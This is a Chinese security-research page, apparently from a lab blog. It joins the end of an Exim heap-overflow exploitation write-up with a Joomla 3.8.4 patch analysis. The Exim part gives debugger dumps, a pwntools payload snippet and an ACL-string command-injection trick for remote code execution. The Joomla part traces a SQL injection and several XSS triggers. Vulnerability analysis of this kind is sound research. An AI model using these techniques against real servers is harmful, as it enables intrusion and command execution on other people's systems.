class="lang-python"><span class="lit">0x6ed898</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_etrn</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L7"><code class="lang-python"><span class="lit">0x6ed8a8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_data</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedad0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x6ed8b8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_auth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedae0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li></ol>所以我有
rcpt
,data
,auth
这三个命令可以利用比如
0x0000000001cedae0
地址当前的内容是:1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="pln">s </span><span class="lit">0x0000000001cedae0</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1cedae0</span><span class="pun">:</span><span class="pln"> </span><span class="str">"acl_check_auth"</span></code></li></ol>当我把该字符串修改为
${run{/usr/bin/touch /tmp/pwned}}
则当我向服务器发送
AUTH
命令时,exim将会执行/usr/bin/touch /tmp/pwned
所以之后就是meh所说的利用链:
修改
storeblock
的next指针为储存acl_check_xxxx
字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx
字符串的堆块被释放丢入unsortedbin -> 申请堆块,当堆块的地址为储存acl_check_xxxx
字符串的堆块时,我们可以覆盖该字符串为命令执行的字符串 -> RCESTEP 7
根据上一步所说,我们首先需要修改next指针,第二块chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一个
storeblock
的地址为第二块chunk+0x2000,next指针地址为第二块chunk+0x2010所以我们申请一个0x2020的chunk,就能够覆盖next指针:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">base64</span><span class="pun">.</span><span class="pln">b64encode</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">501</span><span class="pun">+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p32</span><span class="pun">(</span><span class="pln">address</span><span class="pun">)))</span></code></li></ol>这里有一个问题
第二个chunk在
AUTH CRAM-MD5
命令执行时就被分配了,所以b64decode
的内存是从next_yield
获取的这样就导致一个问题,我们能通过之前的构造来控制在执行
b64decode
时yield_length
的大小,最开始我的一个思路就是,仍然利用off by one
漏洞来修改next,这也是我理解的meh所说的partial write
但是实际情况让我这个思路失败了
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">16gx</span><span class="pln"> </span><span class="lit">0x1d171a0</span><span class="pun">+</span><span class="lit">0x2000</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191a0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0063636363636363</span><span class="pln"> </span><span class="lit">0x0000000000002021</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d191b0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0000000001d171b0</span><span class="pln"> </span><span class="lit">0x0000000000002000</span></code></li></ol>当前的next指针的值为0x1d171b0,如果利用我的思路是可以修改1-2字节,然而储存
acl_check_xxx
字符的堆块地址为0x1ced980我们需要修改3字节,所以这个思路行不通
所以又有了另一个思路,因为exim是通过fork起子进程来处理每个socket连接的,所以我们可以爆破堆的基地址,只需要爆破2byte
STEP 8
在解决地址的问题后,就是对堆进行填充,然后修改相关
acl_check_xxx
指向的字符串然后附上利用截图:
总结
坑踩的挺多,尤其是在纠结meh所说的
partial write
,之后在github上看到别人公布的exp[3],同样也是使用爆破的方法,所以可能我对partial write
的理解有问题吧另外,通过与github上的exp进行对比,发现不同版本的exim,
acl_check_xxx
的堆偏移也有差别,所以如果需要RCE exim,需要满足下面的条件:- 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
- 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证
- 需要有该exim的binary来计算堆偏移
- 需要知道exim的启动参数
参考
-
从补丁到漏洞分析 –记一次joomla漏洞应急
作者:LoRexxar’@知道创宇404实验室
2018年1月30日,joomla更新了3.8.4版本,这次更新修复了4个安全漏洞,以及上百个bug修复。
https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html
为了漏洞应急这几个漏洞,我花费了大量的时间分析漏洞成因、寻找漏洞触发位置、回溯逻辑,下面的文章比起漏洞分析来说,更接近我思考的思路,希望能给大家带来不一样的东西。
背景
其中的4个安全漏洞包括
1<ol class="linenums"><li class="L0"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> XSS vulnerability </span><span class="kwd">in</span><span class="pln"> </span><span class="kwd">module</span><span class="pln"> chromes </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">3.0</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L1"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> XSS vulnerability </span><span class="kwd">in</span><span class="pln"> com_fields </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L2"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> XSS vulnerability </span><span class="kwd">in</span><span class="pln"> </span><span class="typ">Uri</span><span class="pln"> </span><span class="kwd">class</span><span class="pln"> </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">1.5</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L3"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">SQLi</span><span class="pln"> vulnerability </span><span class="kwd">in</span><span class="pln"> </span><span class="typ">Hathor</span><span class="pln"> postinstall message </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span></code></li></ol>根据更新,我们去到github上的joomla项目,从中寻找相应的修复补丁,可以发现,4个安全漏洞的是和3.8.4的release版同时更新的。
https://github.com/joomla/joomla-cms/commit/0ec372fdc6ad5ad63082636a0942b3ea39acc7b7
通过补丁配合漏洞详情中的简单描述我们可以确定漏洞的一部信息,紧接着通过这部分信息来回溯漏洞成因。
SQLi vulnerability in Hathor postinstall message
https://developer.joomla.org/security-centre/722-20180104-core-sqli-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">The</span><span class="pln"> lack of type casting of a variable </span><span class="kwd">in</span><span class="pln"> SQL statement leads to a SQL injection vulnerability </span><span class="kwd">in</span><span class="pln"> the </span><span class="typ">Hathor</span><span class="pln"> postinstall message</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
第一个漏洞说的比较明白,是说在Hathor的postinstall信息处,由于错误的类型转换导致了注入漏洞。
我们来看看相应的补丁
符合漏洞描述的点就是这里,原来的取第一位改为了对取出信息做强制类型转换,然后拼接入sql语句。
这里假设我们可以控制
$adminstyle
,如果我们通过传入数组的方式设置该变量为数组格式,并且第1个字符串可控,那么这里就是一个可以成立的漏洞点。现在我们需要找到这个功能的位置,并且回溯变量判断是否可控。
找到漏洞位置
hathor是joomla自带的两个后台模板之一,由于hathor更新迭代没有isis快,部分功能会缺失,所以在安装完成之后,joomla的模板为isis,我们需要手动设置该部分。
1<ol class="linenums"><li class="L0"><code><span class="typ">Templates</span><span class="pun">-></span><span class="pln">styles</span><span class="pun">-></span><span class="pln">adminnistrator</span><span class="pun">-></span><span class="pln">hathor</span></code></li></ol>修改完成后回到首页,右边就是postinstallation message
回溯漏洞
回到代码中,我们需要找到
$adminstyle
这个变量进入的地方。1<ol class="linenums"><li class="L0"><code><span class="pln">$adminstyle </span><span class="pun">=</span><span class="pln"> $user</span><span class="pun">-></span><span class="pln">getParam</span><span class="pun">(</span><span class="str">'admin_style'</span><span class="pun">,</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span></code></li></ol>这里user为
JFactory::getUser()
,跟入getParam方法1<ol class="linenums"><li class="L0"><code><span class="str">/libraries/</span><span class="pln">src</span><span class="pun">/</span><span class="typ">User</span><span class="pun">/</span><span class="typ">User</span><span class="pun">.</span><span class="pln">php line </span><span class="lit">318</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getParam</span><span class="pun">(</span><span class="pln">$key</span><span class="pun">,</span><span class="pln"> $default </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">null</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_params</span><span class="pun">-></span><span class="kwd">get</span><span class="pun">(</span><span class="pln">$key</span><span class="pun">,</span><span class="pln"> $default</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pun">}</span></code></li></ol>这里
$this->_params
来自$this->_params = new Registry;
跟入Registry的get方法
1<ol class="linenums"><li class="L0"><code><span class="pln">libraries</span><span class="pun">/</span><span class="pln">vendor</span><span class="pun">/</span><span class="pln">joomla</span><span class="pun">/</span><span class="pln">registry</span><span class="pun">/</span><span class="pln">src</span><span class="pun">/</span><span class="typ">Registry</span><span class="pun">.</span><span class="pln">php line </span><span class="lit">201</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> </span><span class="kwd">get</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">,</span><span class="pln"> $default </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">null</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="com">// Return default value if path is empty</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">))</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">,</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">separator</span><span class="pun">))</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="pun">(</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path </span><span class="pun">!==</span><span class="pln"> </span><span class="kwd">null</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path </span><span class="pun">!==</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span><span class="pln"> </span><span class="pun">?</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path </span><span class="pun">:</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="com">// Explode the registry path into an array</span></code></li><li class="L6"><code><span class="pln"> $nodes </span><span class="pun">=</span><span class="pln"> explode</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">separator</span><span class="pun">,</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">));</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> </span><span class="com">// Initialize the current node to be the registry root.</span></code></li><li class="L9"><code><span class="pln"> $node </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> $found </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln"> </span><span class="com">// Traverse the registry to find the correct node for the result.</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">foreach</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$nodes </span><span class="kwd">as</span><span class="pln"> $n</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">is_array</span><span class="pun">(</span><span class="pln">$node</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> isset</span><span class="pun">(</span><span class="pln">$node</span><span class="pun">[</span><span class="pln">$n</span><span class="pun">]))</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> $node </span><span class="pun">=</span><span class="pln"> $node</span><span class="pun">[</span><span class="pln">$n</span><span class="pun">];</span></code></li><li class="L8"><code><span class="pln"> $found </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$node</span><span class="pun">-></span><span class="pln">$n</span><span class="pun">))</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> $node </span><span class="pun">=</span><span class="pln"> $node</span><span class="pun">-></span><span class="pln">$n</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> $found </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">$found </span><span class="pun">||</span><span class="pln"> $node </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">null</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> $node </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $node</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>根据这里的调用方式来看,这里会通过这里的的判断获取是否存在adminstyle,如果没有则会返回default(这里为空)
接着回溯
$this->data
,data来自$this->data = new \stdClass;
回溯到这里可以发现
$admin_style
的地方是从全局变量中中读取的。默认设置为空
/administrator/components/com_users/models/forms/user.xml
但我们是可以设置这个的
后台
users->users->super user
设置,右边我们可以设置当前账户使用的后台模板,将右边修改为使用hathor型模板。通过抓包我们可以发现,这里显式的设置了当前账户的
admin_type
,这样如果我们通过传入数组,就可以设置admin_type
为任意值然后进入代码中的数据库操作
/administrator/templates/hathor/postinstall/hathormessage.php function hathormessage_postinstall_condition
访问post_install页面触发
XSS vulnerability in com_fields
https://developer.joomla.org/security-centre/720-20180102-core-xss-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">Inadequate</span><span class="pln"> input filtering </span><span class="kwd">in</span><span class="pln"> com_fields leads to a XSS vulnerability </span><span class="kwd">in</span><span class="pln"> multiple field types</span><span class="pun">,</span><span class="pln"> i</span><span class="pun">.</span><span class="pln">e</span><span class="pun">.</span><span class="pln"> list</span><span class="pun">,</span><span class="pln"> radio </span><span class="kwd">and</span><span class="pln"> checkbox</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
漏洞详情写了很多,反而是补丁比较模糊,我们可以大胆猜测下,当插入的字段类型为list、radio、checkbox多出的部分变量没有经过转义
首先我们需要先找到触发点
后台
content->fields->new
,然后设置type为radio
,在键名处加入相应的payload然后保存新建文章
成功触发
漏洞分析
由于补丁修复的方式比较特殊,可以猜测是在某些部分调用时使用了textContent而不是nodeValue,在分析变量时以此为重点。
漏洞的出发点
/administrator/components/com_fields/libraries/fieldslistplugin.php line 31
由于找不到该方法的调用点,所以我们从触发漏洞的点分析流程。
编辑文章的上边栏是通过
administrator/components/com_content/views/article/tmp/edit.php line 99
载入的这里
JLayoutHelper:render
会进入/layouts/joomla/edit/params.php
然后在129行进入
JLayoutHelper::render('joomla.edit.fieldset', $displayData);
跟入
/layouts/joomla/edit/fieldset.php line 16
,代码在这里通过执行form
的getFieldset
获取了提交的自定义字段信息。跟入
/libraries/src/Form/Form.php line 329 function getFieldset
跟如1683行
findFieldsByFieldset
函数。这里调用xml来获取数据,从全局的xml变量中匹配。
这里的全局变量中的xml中的option字段就来自于设置时的
$option->textContent
,而只有list, radio and checkbox.
这三种是通过这里的函数做处理,其中list比较特殊,在后面的处理过程中,list类型的自定义字段会在/libraries/cms/html/select.php line 742 function options
被二次处理,但radio不会,所以漏洞存在。整个xss漏洞从插入到触发限制都比较大,实战价值较低。
XSS vulnerability in Uri class
https://developer.joomla.org/security-centre/721-20180103-core-xss-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">Inadequate</span><span class="pln"> input filtering </span><span class="kwd">in</span><span class="pln"> the </span><span class="typ">Uri</span><span class="pln"> </span><span class="kwd">class</span><span class="pln"> </span><span class="pun">(</span><span class="pln">formerly </span><span class="typ">JUri</span><span class="pun">)</span><span class="pln"> leads to a XSS vulnerability</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">1.5</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
比起其他几个来说,这里的漏洞就属于特别清晰的,就是在获取系统变量时,没做相应的过滤。
前台触发方式特别简单,因为这里的
script_name
是获取基础url路径的,会拼接进所有页面的和链接有关系的地方,包括js或者css的引入。漏洞利用
让我们来看看完整的代码
1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">php_sapi_name</span><span class="pun">(),</span><span class="pln"> </span><span class="str">'cgi'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">!==</span><span class="pln"> </span><span class="kwd">false</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">ini_get</span><span class="pun">(</span><span class="str">'cgi.fix_pathinfo'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_SERVER</span><span class="pun">[</span><span class="str">'REQUEST_URI'</span><span class="pun">]))</span></code></li><li class="L1"><code><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="com">// PHP-CGI on Apache with "cgi.fix_pathinfo = 0"</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> </span><span class="com">// We shouldn't have user-supplied PATH_INFO in PHP_SELF in this case</span></code></li><li class="L5"><code><span class="pln"> </span><span class="com">// because PHP will not work with PATH_INFO at all.</span></code></li><li class="L6"><code><span class="pln"> $script_name </span><span class="pun">=</span><span class="pln"> $_SERVER</span><span class="pun">[</span><span class="str">'PHP_SELF'</span><span class="pun">];</span></code></li><li class="L7"><code><span class="pun">}</span></code></li><li class="L8"><code><span class="kwd">else</span></code></li><li class="L9"><code><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="com">// Others</span></code></li><li class="L1"><code><span class="pln"> $script_name </span><span class="pun">=</span><span class="pln"> $_SERVER</span><span class="pun">[</span><span class="str">'SCRIPT_NAME'</span><span class="pun">];</span></code></li><li class="L2"><code><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">static</span><span class="pun">::</span><span class="pln">$base</span><span class="pun">[</span><span class="str">'path'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> rtrim</span><span class="pun">(</span><span class="pln">dirname</span><span class="pun">(</span><span class="pln">$script_name</span><span class="pun">),</span><span class="pln"> </span><span class="str">'/\\'</span><span class="pun">);</span></code></li></ol>很明显只有当
$script_name = $_SERVER['PHP_SELF']
的时候,漏洞才有可能成立只有当php是fastcgi运行,而且cgi.fix_pathinfo = 0时才能进入这个判断,然后利用漏洞还有一个条件,就是服务端对路径的解析存在问题才行。
1<ol class="linenums"><li class="L0"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//127.0.0.1/index.php/{evil_code}/321321</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pun">---></span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//127.0.0.1/index.php</span></code></li></ol>当该路径能被正常解析时,
http://127.0.0.1/index.php/{evil_code}
就会被错误的设置为基础URL拼接入页面中。一个无限制的xss就成立了
XSS vulnerability in module chromes
https://developer.joomla.org/security-centre/718-20180101-core-xss-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">Lack</span><span class="pln"> of escaping </span><span class="kwd">in</span><span class="pln"> the </span><span class="kwd">module</span><span class="pln"> chromes leads to XSS vulnerabilities </span><span class="kwd">in</span><span class="pln"> the </span><span class="kwd">module</span><span class="pln"> system</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">3.0</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
漏洞存在的点比较清楚,修复中将
$moduleTag
进行了一次转义,同样的地方有三处,但都是同一个变量导致的。这个触发也比较简单,当我们把前台模板设置为protostar(默认)时,访问前台就会触发这里的
modChrome_well
函数。漏洞利用
让我们看看完整的代码
很明显后面
module_tag
没有经过更多处理,就输出了,假设我们可控module_tag
,那么漏洞就成立。问题在于怎么控制,这里的函数找不到调用的地方,能触发的地方都返回了传入的第二个值,猜测和上面的
get_param
一样,如果没有设置该变量,则返回default
值。经过一番研究,并没有找到可控的设置的点,这里只能暂时放弃。
ref
- Joomla 3.8.4 https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html
- Joomla security patches https://developer.joomla.org/security-centre/